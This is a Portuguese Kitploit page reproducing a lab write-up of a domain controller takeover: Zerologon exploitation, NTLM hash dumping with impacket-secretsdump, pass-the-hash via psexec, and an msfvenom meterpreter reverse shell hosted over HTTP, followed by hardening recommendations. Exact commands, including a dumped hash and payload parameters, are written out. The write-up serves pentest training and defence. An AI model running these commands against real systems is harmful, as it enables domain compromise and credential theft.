Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Domain-Controller-DC-Exploitation-with-Metasploit-Impacket — Exploração completa de Controlador de Domínio usando Metasploit e Impacket: descoberto DC10, explorou Zerologon (CVE-2020-1472), extraiu hashes NTLM, obteve shell SYSTEM e estabeleceu uma sessão Meterpreter. | Kitploit
Ferramentas/GitHubGitHub/nyambiblaise/domain-controller-dc-exploitation-with-metasploit-impacket
ReconhecimentoFrameworks de ExploraçãoGeração de PayloadsAnálise de VulnerabilidadesMovimento LateralPós-ExploraçãoTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHubnyambiblaise/domain-controller-dc-exploitation-with-metasploit-impacket

Domain-Controller-DC-Exploitation-with-Metasploit-Impacket

Exploração completa de Controlador de Domínio usando Metasploit e Impacket: descoberto DC10, explorou Zerologon (CVE-2020-1472), extraiu hashes NTLM, obteve shell SYSTEM e estabeleceu uma sessão Meterpreter.

Ver Repositório
há 10 mesesAinda não revisado
Compartilhar

Exploração de Controlador de Domínio (DC) com Metasploit + Impacket

Exploração completa de um Controlador de Domínio usando Metasploit e Impacket: descoberta do DC10, exploração do Zerologon (CVE-2020-1472), extração de hashes NTLM, obtenção de shell SYSTEM e estabelecimento de uma sessão Meterpreter.

Resumo Executivo Este exercício demonstra uma cadeia de ataque completa e realista contra um controlador de domínio que estava vulnerável ao CVE-2020-1472 (Zerologon). O engajamento incluiu descoberta, enriquecimento de serviços, exploração, extração de credenciais, movimento lateral e validação pós-exploração. Consegui obter acesso de nível SYSTEM e estabelecer uma sessão persistente do Meterpreter no DC usando uma combinação de Zerologon, Impacket secretsdump + pass-the-hash e payloads msfvenom/meterpreter. Capturas de tela e artefatos de comandos foram registrados em cada etapa como evidência.

Visão geral do laboratório: Simulou uma cadeia de ataque completa em um Controlador de Domínio Windows usando Metasploit e Impacket; descoberta, Zerologon, secretsdump, pass-the-hash e uma sessão controlada do Meterpreter.

Por que isso é importante para as organizações: Porque o DC controla a autenticação, política de grupo e identidade de todo o domínio, um comprometimento pode se cascatear em interrupção total dos negócios, roubo de contas, exfiltração de dados, implantação de ransomware e perda de confiança regulatória. Proteger os DCs protege a disponibilidade, receita e reputação, impedindo que atacantes transformem a identidade em um ponto único de falha.

Exploração de Controlador de Domínio (DC) com Metasploit + Impacket

CENÁRIO

Você recebe duas máquinas em uma rede de laboratório contida. Um sistema é um Controlador de Domínio Windows (DC) chamado DC10 que hospeda serviços principais de AD. O outro sistema é uma estação de trabalho Kali colocada na mesma sub-rede de servidores para teste. Supõe-se que o DC exponha serviços de domínio típicos (por exemplo, LDAP, Kerberos, SMB) e pode ser vulnerável a problemas conhecidos. Espera-se que o host Kali seja usado para reconhecimento, exploração, acesso a credenciais, movimento lateral e validação pós-exploração. A tarefa é identificar o DC, confirmar detalhes do domínio, obter um ponto de apoio inicial usando uma técnica aplicável, extrair material de credenciais para permitir acesso administrativo e, em seguida, demonstrar controle do DC por meio de um shell remoto e uma sessão de agente gerenciado, adaptando-se a quaisquer restrições ambientais, como serviços corrigidos, egresso restrito ou defesas de endpoint. DC: 10.1.16.1 Kali: 10.1.16.66

Principais Descobertas

  • Vulnerabilidade crítica explorada: CVE-2020-1472 (Zerologon) foi explorado com sucesso para redefinir a senha da conta de máquina do DC para vazia.
  • Comprometimento de credenciais: Hashes NTLM foram extraídos do DC (secretsdump), revelando credenciais de Administrador permitindo pass-the-hash.
  • Controle completo do domínio demonstrado: Usando os hashes extraídos, um shell SYSTEM no DC10 foi obtido (psexec) e um shell reverso estável do Meterpreter foi executado, confirmando execução remota de código e persistência.
  • Serviços expostos: LDAP, Kerberos, SMB e serviços RPC relacionados estavam acessíveis a partir do host atacante, permitindo descoberta e exploração.
  • Risco de superfície de ataque: O DC aceitou operações remotas que permitiram manipulação da conta de máquina e execução remota de payload.

1) Descoberta e Escopo

Usei msfconsole com suporte a DB, executei um sweep nmap de dentro do MSF, importei os resultados e refinei hosts e serviços para confirmar a exposição do DC10.

  • Iniciei msfconsole com suporte a DB e confirmei a conectividade com o banco de dados.
  • Executei uma varredura nmap pela sub-rede a partir do msfconsole e importei os resultados para o DB do MSF.
  • Limpei a tabela de hosts para remover meu IP Kali. Revisei serviços para identificar possíveis indicadores de DC.
  • Usei o scanner de porta SYN do MSF com uma faixa de portas restrita e encadeamento global para refinar dados de serviço.
  • Realizei fingerprinting SMB em hosts Windows para enriquecer detalhes do SO.
  • Confirmei serviços LDAP e Kerberos em 10.1.16.1 e verifiquei o nome do domínio por meio de uma consulta LDAP.
  • Decisão: Tratar 10.1.16.1 como o foco do DC para exploração e acesso a credenciais.
Image Image Image

2) Enriquecimento de Serviços e Confirmação do DC

Realizei uma varredura de porta SYN no MSF, fiz fingerprinting SMB e confirmei LDAP e Kerberos em 10.1.16.1. Consultei LDAP para recuperar o nome do domínio.

Image Image Image Image Image

Verificação da versão SMB

  • Usei o módulo de versão SMB no msfconsole: auxiliary/scanner/smb/smb_version.
  • Defini os alvos a partir da tabela de hosts com hosts -R .
  • Obtive detalhes do dialeto SMB e do SO.
  • Resultado: 10.1.16.1 mostrou informações de Windows Server, o que estava alinhado com ele sendo o Controlador de Domínio.
Image Image Image Image Image

Consulta LDAP

  • Para o módulo de consulta LDAP, usei auxiliary/gather/ldap_query.
  • Defini rhosts 10.1.16.1 para atingir o DC10 diretamente.
  • Executei para obter informações básicas do diretório.
  • Resultado: Confirmei o nome do domínio como “structureality” e que o LDAP no DC estava respondendo.
Image Image Image Image

3) Exploração Zerologon (Acesso Inicial)

Executei auxiliary/admin/dcerpc/cve_2020_1472_zerologon contra o DC10 para redefinir a senha da conta de máquina para vazia.

Image Image

4) Acesso a Credenciais (secretsdump)

Usando Impacket, extraí hashes NTLM do DC e identifiquei credenciais de Administrador para pass-the-hash.

impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]

Image Image

5) Movimento Lateral (psexec)

Usei pass-the-hash com psexec para obter um shell de nível SYSTEM no DC10 e validei a identidade do host.

impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9 Como você pode ver, já estou em C:\Windows\system32

Image Image

6) Pós-Exploração (Meterpreter)

Gerei um payload meterpreter reverse_tcp, hospedei via HTTP, baixei no DC10, iniciei um handler e executei o payload para abrir uma sessão Meterpreter.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe

Image Image Iniciei um servidor web básico para permitir que o sistema alvo acessasse facilmente este executável meterpreter usando:

python3 -m http.server 8080

Image Na máquina alvo, executei o executável meterpreter (secret.exe) Image Image Image Image Image

Como você pode ver, agora estabeleci uma conexão de shell reverso entre o alvo DC10 e os sistemas Kali. Isso foi realizado usando apenas exploits externos/remotos contra o alvo vulnerável.

Embora o sistema Kali esteja localizado na sub-rede de servidores junto com o alvo DC10, esses tipos de ataques são possíveis pela internet se o sistema alvo estiver exposto à internet aberta.

7) Principais Resultados

  • DC10 identificado como controlador de domínio para structureality
  • Zerologon bem-sucedido, permitindo extração de credenciais
  • Hash de Administrador usado para shell SYSTEM via pass-the-hash
  • Sessão estável do Meterpreter confirmada no DC10

Evidências

  • Logs de varredura de sub-rede do MSF DB e nmap confirmando descoberta de host/serviço.
  • Saída de enumeração SMB/LDAP/Kerberos confirmando serviços de DC e nome de domínio structureality.
  • Saída do módulo Zerologon mostrando redefinição de senha da conta de máquina para vazia.
  • Saída do secretsdump com hashes NTLM extraídos.
  • Logs de sessão psexec demonstrando C:\Windows\System32.
  • Capturas de tela do msfvenom e da sessão Meterpreter confirmando controle remoto.

Ações Realizadas (resumo)

  • Descoberta e Escopo: varreduras nmap do msfconsole; DB do MSF usado para gerenciar hosts/serviços; DC10 confirmado como alvo.
  • Enriquecimento de Serviços: fingerprinting SMB, consultas LDAP, confirmação Kerberos para validar função de controlador de domínio.
  • Acesso Inicial: Executei auxiliary/admin/dcerpc/cve_2020_1472_zerologon para redefinir senha da conta de máquina do DC.
  • Acesso a Credenciais: impacket-secretsdump para extrair hashes NTLM do DC.
  • Movimento Lateral: impacket-psexec usando hash NTLM de Administrador → shell SYSTEM.
  • Pós-Exploração: Construí e hospedei payload meterpreter (msfvenom), baixei e executei no DC e confirmei sessão persistente.

Recomendações para os Proprietários da Rede

  • Corrigir a vulnerabilidade Netlogon imediatamente e verificar com uma varredura para exposição CVE-2020-1472
  • Impor assinatura SMB e restringir exposição SMB e RPC do DC apenas a sub-redes administrativas confiáveis
  • Implementar administração em camadas e negar execução remota de serviços a partir de hosts de gerenciamento não administrativos
  • Desabilitar ou controlar rigorosamente NTLM, preferir Kerberos e monitorar padrões de pass-the-hash
  • Controle de egresso: restringir conexões de saída de servidores, permitir apenas destinos e portas necessários
  • Proteção de endpoint: bloquear binários não assinados e aplicar varredura integrada com AMSI ao PowerShell
  • Monitoramento: alertar sobre redefinições de senha de conta de máquina, acesso anômalo a DRSUAPI e listeners inesperados semelhantes a handlers
  • Rotacionar regularmente credenciais privilegiadas e usar soluções LAPS ou PAM para reduzir risco de reuso de hash
Baixar ferramenta